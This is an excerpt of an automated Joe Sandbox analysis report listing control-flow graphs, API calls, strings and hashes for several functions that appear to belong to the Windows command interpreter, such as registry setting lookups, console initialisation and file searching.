                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: AttributeProcThread$List$CloseCreateDeleteErrorHandleLastProcessmemsetwcsrchr$InfoInitializeStartupUpdateUser_local_unwind_wcsnicmplstrcmp
                                                                                      • String ID: %01C$%08X$=ExitCode$=ExitCodeAscii$COPYCMD$\XCOPY.EXE$h
                                                                                      • API String ID: 388421343-2905461000
                                                                                      • Opcode ID: 55d34b9fbbbe98a267e2a1b689c77e543e9d7ab297a27b4d624c1a5c7cdf6f16
                                                                                      • Instruction ID: 24d6e0259126f4e5e6155411fa122ff08fbc4ddc25b9c933ddb03fd85a1ebe89
                                                                                      • Opcode Fuzzy Hash: 55d34b9fbbbe98a267e2a1b689c77e543e9d7ab297a27b4d624c1a5c7cdf6f16
                                                                                      • Instruction Fuzzy Hash: B4F13E33A08B8296FA60AB11E4457BAFBA4FB85780FA05135DB4D83754DF3CE545CB60
                                                                                      Function 00007FF78CF55554 Relevance: 45.8, APIs: 18, Strings: 8, Instructions: 295registryCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 579 7ff78cf55554-7ff78cf555b9 call 7ff78cf5a640 582 7ff78cf555bc-7ff78cf555e8 RegOpenKeyExW 579->582 583 7ff78cf555ee-7ff78cf55631 RegQueryValueExW 582->583 584 7ff78cf55887-7ff78cf5588e 582->584 585 7ff78cf5f248-7ff78cf5f24d 583->585 586 7ff78cf55637-7ff78cf55675 RegQueryValueExW 583->586 584->582 587 7ff78cf55894-7ff78cf558db time srand call 7ff78cf58f80 584->587 589 7ff78cf5f260-7ff78cf5f265 585->589 590 7ff78cf5f24f-7ff78cf5f25b 585->590 591 7ff78cf5568e-7ff78cf556cc RegQueryValueExW 586->591 592 7ff78cf55677-7ff78cf5567c 586->592 589->586 594 7ff78cf5f26b-7ff78cf5f286 _wtol 589->594 590->586 597 7ff78cf5f2b6-7ff78cf5f2bb 591->597 598 7ff78cf556d2-7ff78cf55710 RegQueryValueExW 591->598 595 7ff78cf5f28b-7ff78cf5f290 592->595 596 7ff78cf55682-7ff78cf55687 592->596 594->586 595->591 599 7ff78cf5f296-7ff78cf5f2b1 _wtol 595->599 596->591 600 7ff78cf5f2ce-7ff78cf5f2d3 597->600 601 7ff78cf5f2bd-7ff78cf5f2c9 597->601 602 7ff78cf55729-7ff78cf55767 RegQueryValueExW 598->602 603 7ff78cf55712-7ff78cf55717 598->603 599->591 600->598 608 7ff78cf5f2d9-7ff78cf5f2f4 _wtol 600->608 601->598 606 7ff78cf55769-7ff78cf5576e 602->606 607 7ff78cf5579f-7ff78cf557dd RegQueryValueExW 602->607 604 7ff78cf5571d-7ff78cf55722 603->604 605 7ff78cf5f2f9-7ff78cf5f2fe 603->605 604->602 605->602 613 7ff78cf5f304-7ff78cf5f31a wcstol 605->613 609 7ff78cf55774-7ff78cf5578f 606->609 610 7ff78cf5f320-7ff78cf5f325 606->610 611 7ff78cf5f3a9 607->611 612 7ff78cf557e3-7ff78cf557e8 607->612 608->598 616 7ff78cf5f357-7ff78cf5f35e 609->616 617 7ff78cf55795-7ff78cf55799 609->617 614 7ff78cf5f34b 610->614 615 7ff78cf5f327-7ff78cf5f33f wcstol 610->615 624 7ff78cf5f3b5-7ff78cf5f3b8 611->624 618 7ff78cf557ee-7ff78cf55809 612->618 619 7ff78cf5f363-7ff78cf5f368 612->619 613->610 614->616 615->614 616->607 617->607 617->616 622 7ff78cf5f39a-7ff78cf5f39d 618->622 623 7ff78cf5580f-7ff78cf55813 618->623 620 7ff78cf5f38e 619->620 621 7ff78cf5f36a-7ff78cf5f382 wcstol 619->621 620->622 621->620 622->611 623->622 625 7ff78cf55819-7ff78cf55823 623->625 626 7ff78cf5582c 624->626 627 7ff78cf5f3be-7ff78cf5f3c5 624->627 625->624 629 7ff78cf55829 625->629 628 7ff78cf55832-7ff78cf55870 RegQueryValueExW 626->628 630 7ff78cf5f3ca-7ff78cf5f3d1 626->630 627->628 631 7ff78cf5f3dd-7ff78cf5f3e2 628->631 632 7ff78cf55876-7ff78cf55882 RegCloseKey 628->632 629->626 630->631 633 7ff78cf5f3e4-7ff78cf5f412 ExpandEnvironmentStringsW 631->633 634 7ff78cf5f433-7ff78cf5f439 631->634 632->584 635 7ff78cf5f428 633->635 636 7ff78cf5f414-7ff78cf5f426 call 7ff78cf513e0 633->636 634->632 637 7ff78cf5f43f-7ff78cf5f44c call 7ff78cf4b900 634->637 639 7ff78cf5f42e 635->639 636->639 637->632 639->634
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: QueryValue$CloseOpensrandtime
                                                                                      • String ID: AutoRun$CompletionChar$DefaultColor$DelayedExpansion$DisableUNCCheck$EnableExtensions$PathCompletionChar$Software\Microsoft\Command Processor
                                                                                      • API String ID: 145004033-3846321370
                                                                                      • Opcode ID: 7805ef0751f17a64bc231b327674b43fa69c0befe7df2b1e52c817e25d9d9668
                                                                                      • Instruction ID: c2e59b8308f7774edc40437a9fc5f67dcf83f0a431550bea3272fa714b05bae6
                                                                                      • Opcode Fuzzy Hash: 7805ef0751f17a64bc231b327674b43fa69c0befe7df2b1e52c817e25d9d9668
                                                                                      • Instruction Fuzzy Hash: 9EE13C3352DA82D6FA50AB10E45057AF7A0FB89745FE05135FB8E82A58DF7CE644CB20
                                                                                      Function 00007FF78CF537D8 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 269registrythreadmemoryCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 821 7ff78cf537d8-7ff78cf53887 GetCurrentThreadId OpenThread call 7ff78cf504f4 HeapSetInformation RegOpenKeyExW 824 7ff78cf5388d-7ff78cf538eb call 7ff78cf55920 GetConsoleOutputCP GetCPInfo 821->824 825 7ff78cf5e9f8-7ff78cf5ea3b RegQueryValueExW RegCloseKey 821->825 828 7ff78cf5ea41-7ff78cf5ea59 GetThreadLocale 824->828 829 7ff78cf538f1-7ff78cf53913 memset 824->829 825->828 830 7ff78cf5ea5b-7ff78cf5ea67 828->830 831 7ff78cf5ea74-7ff78cf5ea77 828->831 834 7ff78cf53919-7ff78cf53935 call 7ff78cf54d5c 829->834 835 7ff78cf5eaa5 829->835 830->831 832 7ff78cf5ea79-7ff78cf5ea7d 831->832 833 7ff78cf5ea94-7ff78cf5ea96 831->833 832->833 837 7ff78cf5ea7f-7ff78cf5ea89 832->837 833->835 841 7ff78cf5393b-7ff78cf53942 834->841 842 7ff78cf5eae2-7ff78cf5eaff call 7ff78cf43240 call 7ff78cf68530 call 7ff78cf54c1c 834->842 838 7ff78cf5eaa8-7ff78cf5eab4 835->838 837->833 838->834 840 7ff78cf5eaba-7ff78cf5eac3 838->840 843 7ff78cf5eacb-7ff78cf5eace 840->843 844 7ff78cf5eb27-7ff78cf5eb40 _setjmp 841->844 845 7ff78cf53948-7ff78cf53962 _setjmp 841->845 850 7ff78cf5eb00-7ff78cf5eb0d 842->850 846 7ff78cf5eac5-7ff78cf5eac9 843->846 847 7ff78cf5ead0-7ff78cf5eadb 843->847 851 7ff78cf539fe-7ff78cf53a05 call 7ff78cf54c1c 844->851 852 7ff78cf5eb46-7ff78cf5eb49 844->852 849 7ff78cf53968-7ff78cf5396d 845->849 845->850 846->843 847->838 853 7ff78cf5eadd 847->853 856 7ff78cf539b9-7ff78cf539bb 849->856 857 7ff78cf5396f 849->857 864 7ff78cf5eb15-7ff78cf5eb1f call 7ff78cf54c1c 850->864 851->825 859 7ff78cf5eb4b-7ff78cf5eb65 call 7ff78cf43240 call 7ff78cf68530 call 7ff78cf54c1c 852->859 860 7ff78cf5eb66-7ff78cf5eb6f call 7ff78cf501b8 852->860 853->834 867 7ff78cf5eb20 856->867 868 7ff78cf539c1-7ff78cf539c3 call 7ff78cf54c1c 856->868 863 7ff78cf53972-7ff78cf5397d 857->863 859->860 879 7ff78cf5eb87-7ff78cf5eb89 call 7ff78cf586f0 860->879 880 7ff78cf5eb71-7ff78cf5eb82 _setmode 860->880 871 7ff78cf539c9-7ff78cf539de call 7ff78cf4df60 863->871 872 7ff78cf5397f-7ff78cf53984 863->872 864->867 867->844 876 7ff78cf539c8 868->876 871->864 889 7ff78cf539e4-7ff78cf539e8 871->889 872->863 881 7ff78cf53986-7ff78cf539ae call 7ff78cf50580 GetConsoleOutputCP GetCPInfo call 7ff78cf504f4 872->881 876->871 890 7ff78cf5eb8e-7ff78cf5ebad call 7ff78cf558e4 call 7ff78cf4df60 879->890 880->879 898 7ff78cf539b3 881->898 889->851 893 7ff78cf539ea-7ff78cf539ef call 7ff78cf4be00 889->893 902 7ff78cf5ebaf-7ff78cf5ebb3 890->902 899 7ff78cf539f4-7ff78cf539fc 893->899 898->856 899->872 902->851 903 7ff78cf5ebb9-7ff78cf5ec24 call 7ff78cf558e4 GetConsoleOutputCP GetCPInfo call 7ff78cf504f4 call 7ff78cf4be00 call 7ff78cf50580 GetConsoleOutputCP GetCPInfo call 7ff78cf504f4 902->903 903->890
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: QueryThread$ConsoleInfoOpenOutputVirtual$CloseCurrentHeapInformationLocaleValue_setjmpmemset
                                                                                      • String ID: DisableCMD$Software\Policies\Microsoft\Windows\System
                                                                                      • API String ID: 2624720099-1920437939
                                                                                      • Opcode ID: e0d6314462040d9132af36def7bdcbd46fb0756625f4788b6d15f19097c8c1f5
                                                                                      • Instruction ID: 103d8e0b788410a6bd4ebbab73f84aadefc9c2a77bc01197a7dec9fe0cb7f2cb
                                                                                      • Opcode Fuzzy Hash: e0d6314462040d9132af36def7bdcbd46fb0756625f4788b6d15f19097c8c1f5
                                                                                      • Instruction Fuzzy Hash: BAC1C073E086838AF714BB64A4411B8FAA1FF49714FF49138EB1E96692DE3CA545C720
                                                                                      Function 00007FF78CF5823C Relevance: 15.1, APIs: 10, Instructions: 116COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 1118 7ff78cf5823c-7ff78cf5829b FindFirstFileExW 1119 7ff78cf582cd-7ff78cf582df 1118->1119 1120 7ff78cf5829d-7ff78cf582a9 GetLastError 1118->1120 1124 7ff78cf58365-7ff78cf5837b FindNextFileW 1119->1124 1125 7ff78cf582e5-7ff78cf582ee 1119->1125 1121 7ff78cf582af 1120->1121 1122 7ff78cf582b1-7ff78cf582cb 1121->1122 1126 7ff78cf5837d-7ff78cf58380 1124->1126 1127 7ff78cf583d0-7ff78cf583e5 FindClose 1124->1127 1128 7ff78cf582f1-7ff78cf582f4 1125->1128 1126->1119 1129 7ff78cf58386 1126->1129 1127->1128 1130 7ff78cf58329-7ff78cf5832b 1128->1130 1131 7ff78cf582f6-7ff78cf58300 1128->1131 1129->1120 1130->1121 1132 7ff78cf5832d 1130->1132 1133 7ff78cf58332-7ff78cf58353 GetProcessHeap HeapAlloc 1131->1133 1134 7ff78cf58302-7ff78cf5830e 1131->1134 1132->1120 1135 7ff78cf58356-7ff78cf58363 1133->1135 1136 7ff78cf5838b-7ff78cf583c2 GetProcessHeap HeapReAlloc 1134->1136 1137 7ff78cf58310-7ff78cf58313 1134->1137 1135->1137 1138 7ff78cf650f8-7ff78cf6511e GetLastError FindClose 1136->1138 1139 7ff78cf583c8-7ff78cf583ce 1136->1139 1140 7ff78cf58327 1137->1140 1141 7ff78cf58315-7ff78cf58323 1137->1141 1138->1122 1139->1135 1140->1130 1141->1140
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorFileFindFirstLast
                                                                                      • String ID:
                                                                                      • API String ID: 873889042-0
                                                                                      • Opcode ID: 9fa4dae725f9512e7002593702cffe0a246d57342299abf5542ad382d0469498
                                                                                      • Instruction ID: e6e1dce0fa6fd36fcad6f566a840801f0559c5976a18e330345fbd0071c69e91
                                                                                      • Opcode Fuzzy Hash: 9fa4dae725f9512e7002593702cffe0a246d57342299abf5542ad382d0469498
                                                                                      • Instruction Fuzzy Hash: 77514873A09B8296F700AB11E540579FBA0FB5AB91FA49131DB2E43750CF3CE554C720
                                                                                      Function 00007FF78CF52978 Relevance: 9.1, APIs: 6, Instructions: 138COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 1142 7ff78cf52978-7ff78cf529b6 1143 7ff78cf529b9-7ff78cf529c1 1142->1143 1143->1143 1144 7ff78cf529c3-7ff78cf529c5 1143->1144 1145 7ff78cf529cb-7ff78cf529cf 1144->1145 1146 7ff78cf5e441 1144->1146 1147 7ff78cf529d2-7ff78cf529da 1145->1147 1148 7ff78cf529dc-7ff78cf529e1 1147->1148 1149 7ff78cf52a1e-7ff78cf52a3e FindFirstFileW 1147->1149 1148->1149 1150 7ff78cf529e3-7ff78cf529eb 1148->1150 1151 7ff78cf52a44-7ff78cf52a5c FindClose 1149->1151 1152 7ff78cf5e435-7ff78cf5e439 1149->1152 1150->1147 1153 7ff78cf529ed-7ff78cf52a1c call 7ff78cf58f80 1150->1153 1154 7ff78cf52ae3-7ff78cf52ae5 1151->1154 1155 7ff78cf52a62-7ff78cf52a6e 1151->1155 1152->1146 1156 7ff78cf52aeb-7ff78cf52b10 _wcsnicmp 1154->1156 1157 7ff78cf5e3f7-7ff78cf5e3ff 1154->1157 1159 7ff78cf52a70-7ff78cf52a78 1155->1159 1156->1155 1160 7ff78cf52b16-7ff78cf5e3f1 _wcsicmp 1156->1160 1159->1159 1162 7ff78cf52a7a-7ff78cf52a8d 1159->1162 1160->1155 1160->1157 1162->1146 1163 7ff78cf52a93-7ff78cf52a97 1162->1163 1165 7ff78cf52a9d-7ff78cf52ade memmove call 7ff78cf513e0 1163->1165 1166 7ff78cf5e404-7ff78cf5e407 1163->1166 1165->1150 1168 7ff78cf5e40b-7ff78cf5e413 1166->1168 1168->1168 1170 7ff78cf5e415-7ff78cf5e42b memmove 1168->1170 1170->1152
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID:
                                                                                      • API String ID:
                                                                                      • Opcode ID: 449607d8b30cf2fcca0a8811105e09d4af6f68671a5f8fd8d6b2897c28d3601c
                                                                                      • Instruction ID: af4c6a74955b1320c632c786f8ec3842dd1daaa8d0470caa580c3f5bcb213ba1
                                                                                      • Opcode Fuzzy Hash: 449607d8b30cf2fcca0a8811105e09d4af6f68671a5f8fd8d6b2897c28d3601c
                                                                                      • Instruction Fuzzy Hash: E8511563B0868285FA30AF15A9452BAE690FB54BA0FE54330DF6E877D1DF3CE645C610
                                                                                      Function 00007FF78CF54D5C Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 268memorylibraryloaderCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 643 7ff78cf54d5c-7ff78cf54e4b InitializeCriticalSection call 7ff78cf558e4 SetConsoleCtrlHandler _get_osfhandle GetConsoleMode _get_osfhandle GetConsoleMode call 7ff78cf50580 call 7ff78cf54a14 call 7ff78cf54ad0 call 7ff78cf55554 GetCommandLineW 654 7ff78cf54e4d-7ff78cf54e54 643->654 654->654 655 7ff78cf54e56-7ff78cf54e61 654->655 656 7ff78cf54e67-7ff78cf54e7b call 7ff78cf52e44 655->656 657 7ff78cf551cf-7ff78cf551e3 call 7ff78cf43278 call 7ff78cf54c1c 655->657 662 7ff78cf551ba-7ff78cf551ce call 7ff78cf43278 call 7ff78cf54c1c 656->662 663 7ff78cf54e81-7ff78cf54ec3 GetCommandLineW call 7ff78cf513e0 call 7ff78cf4ca40 656->663 662->657 663->662 674 7ff78cf54ec9-7ff78cf54ee8 call 7ff78cf5417c call 7ff78cf52394 663->674 678 7ff78cf54eed-7ff78cf54ef5 674->678 678->678 679 7ff78cf54ef7-7ff78cf54f1f call 7ff78cf4aa54 678->679 682 7ff78cf54f95-7ff78cf54fee GetConsoleOutputCP GetCPInfo call 7ff78cf551ec GetProcessHeap HeapAlloc 679->682 683 7ff78cf54f21-7ff78cf54f30 679->683 689 7ff78cf54ff0-7ff78cf55006 GetConsoleTitleW 682->689 690 7ff78cf55012-7ff78cf55018 682->690 683->682 684 7ff78cf54f32-7ff78cf54f39 683->684 684->682 686 7ff78cf54f3b-7ff78cf54f77 call 7ff78cf43278 GetWindowsDirectoryW 684->686 696 7ff78cf54f7d-7ff78cf54f90 call 7ff78cf53c24 686->696 697 7ff78cf551b1-7ff78cf551b9 call 7ff78cf54c1c 686->697 689->690 692 7ff78cf55008-7ff78cf5500f 689->692 693 7ff78cf5507a-7ff78cf5507e 690->693 694 7ff78cf5501a-7ff78cf55024 call 7ff78cf53578 690->694 692->690 698 7ff78cf550eb-7ff78cf55161 GetModuleHandleW GetProcAddress * 3 693->698 699 7ff78cf55080-7ff78cf550b3 call 7ff78cf6b89c call 7ff78cf4586c call 7ff78cf43240 call 7ff78cf53448 693->699 694->693 706 7ff78cf55026-7ff78cf55030 694->706 696->682 697->662 704 7ff78cf55163-7ff78cf55167 698->704 705 7ff78cf5516f 698->705 724 7ff78cf550b5-7ff78cf550d0 call 7ff78cf53448 * 2 699->724 725 7ff78cf550d2-7ff78cf550d7 call 7ff78cf43278 699->725 704->705 709 7ff78cf55169-7ff78cf5516d 704->709 710 7ff78cf55172-7ff78cf551af free call 7ff78cf58f80 705->710 711 7ff78cf55075 call 7ff78cf6cff0 706->711 712 7ff78cf55032-7ff78cf55059 GetStdHandle GetConsoleScreenBufferInfo 706->712 709->705 709->710 711->693 716 7ff78cf5505b-7ff78cf55067 712->716 717 7ff78cf55069-7ff78cf55073 712->717 716->693 717->693 717->711 729 7ff78cf550dc-7ff78cf550e6 GlobalFree 724->729 725->729 729->698
                                                                                      APIs
                                                                                      • InitializeCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54D9A
                                                                                        • Part of subcall function 00007FF78CF558E4: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00007FF78CF6C6DB), ref: 00007FF78CF558EF
                                                                                      • SetConsoleCtrlHandler.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54DBB
                                                                                      • _get_osfhandle.MSVCRT ref: 00007FF78CF54DCA
                                                                                      • GetConsoleMode.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54DE0
                                                                                      • _get_osfhandle.MSVCRT ref: 00007FF78CF54DEE
                                                                                      • GetConsoleMode.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54E04
                                                                                        • Part of subcall function 00007FF78CF50580: _get_osfhandle.MSVCRT ref: 00007FF78CF50589
                                                                                        • Part of subcall function 00007FF78CF50580: SetConsoleMode.KERNELBASE ref: 00007FF78CF5059E
                                                                                        • Part of subcall function 00007FF78CF50580: _get_osfhandle.MSVCRT ref: 00007FF78CF505AF
                                                                                        • Part of subcall function 00007FF78CF50580: GetConsoleMode.KERNELBASE ref: 00007FF78CF505C5
                                                                                        • Part of subcall function 00007FF78CF50580: _get_osfhandle.MSVCRT ref: 00007FF78CF505EF
                                                                                        • Part of subcall function 00007FF78CF50580: GetConsoleMode.KERNELBASE ref: 00007FF78CF50605
                                                                                        • Part of subcall function 00007FF78CF50580: _get_osfhandle.MSVCRT ref: 00007FF78CF50632
                                                                                        • Part of subcall function 00007FF78CF50580: SetConsoleMode.KERNELBASE ref: 00007FF78CF50647
                                                                                        • Part of subcall function 00007FF78CF54A14: GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A28
                                                                                        • Part of subcall function 00007FF78CF54A14: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A66
                                                                                        • Part of subcall function 00007FF78CF54A14: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A7D
                                                                                        • Part of subcall function 00007FF78CF54A14: memmove.MSVCRT(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A9A
                                                                                        • Part of subcall function 00007FF78CF54A14: FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54AA2
                                                                                        • Part of subcall function 00007FF78CF54AD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF48798), ref: 00007FF78CF54AD6
                                                                                        • Part of subcall function 00007FF78CF54AD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF48798), ref: 00007FF78CF54AEF
                                                                                        • Part of subcall function 00007FF78CF55554: RegOpenKeyExW.KERNELBASE(?,00000000,?,00000001,?,00007FF78CF54E35), ref: 00007FF78CF555DA
                                                                                        • Part of subcall function 00007FF78CF55554: RegQueryValueExW.KERNELBASE ref: 00007FF78CF55623
                                                                                        • Part of subcall function 00007FF78CF55554: RegQueryValueExW.KERNELBASE ref: 00007FF78CF55667
                                                                                        • Part of subcall function 00007FF78CF55554: RegQueryValueExW.KERNELBASE ref: 00007FF78CF556BE
                                                                                        • Part of subcall function 00007FF78CF55554: RegQueryValueExW.KERNELBASE ref: 00007FF78CF55702
                                                                                      • GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54E35
                                                                                      • GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54E81
                                                                                      • GetWindowsDirectoryW.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54F69
                                                                                      • GetConsoleOutputCP.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54F95
                                                                                      • GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54FB0
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54FC1
                                                                                      • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54FD8
                                                                                      • GetConsoleTitleW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54FF8
                                                                                      • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF55037
                                                                                      • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF5504B
                                                                                      • GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF550DF
                                                                                      • GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF550F2
                                                                                      • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF5510F
                                                                                      • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF55130
                                                                                      • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF5514A
                                                                                      • free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF55175
                                                                                        • Part of subcall function 00007FF78CF53578: _get_osfhandle.MSVCRT ref: 00007FF78CF53584
                                                                                        • Part of subcall function 00007FF78CF53578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF5359C
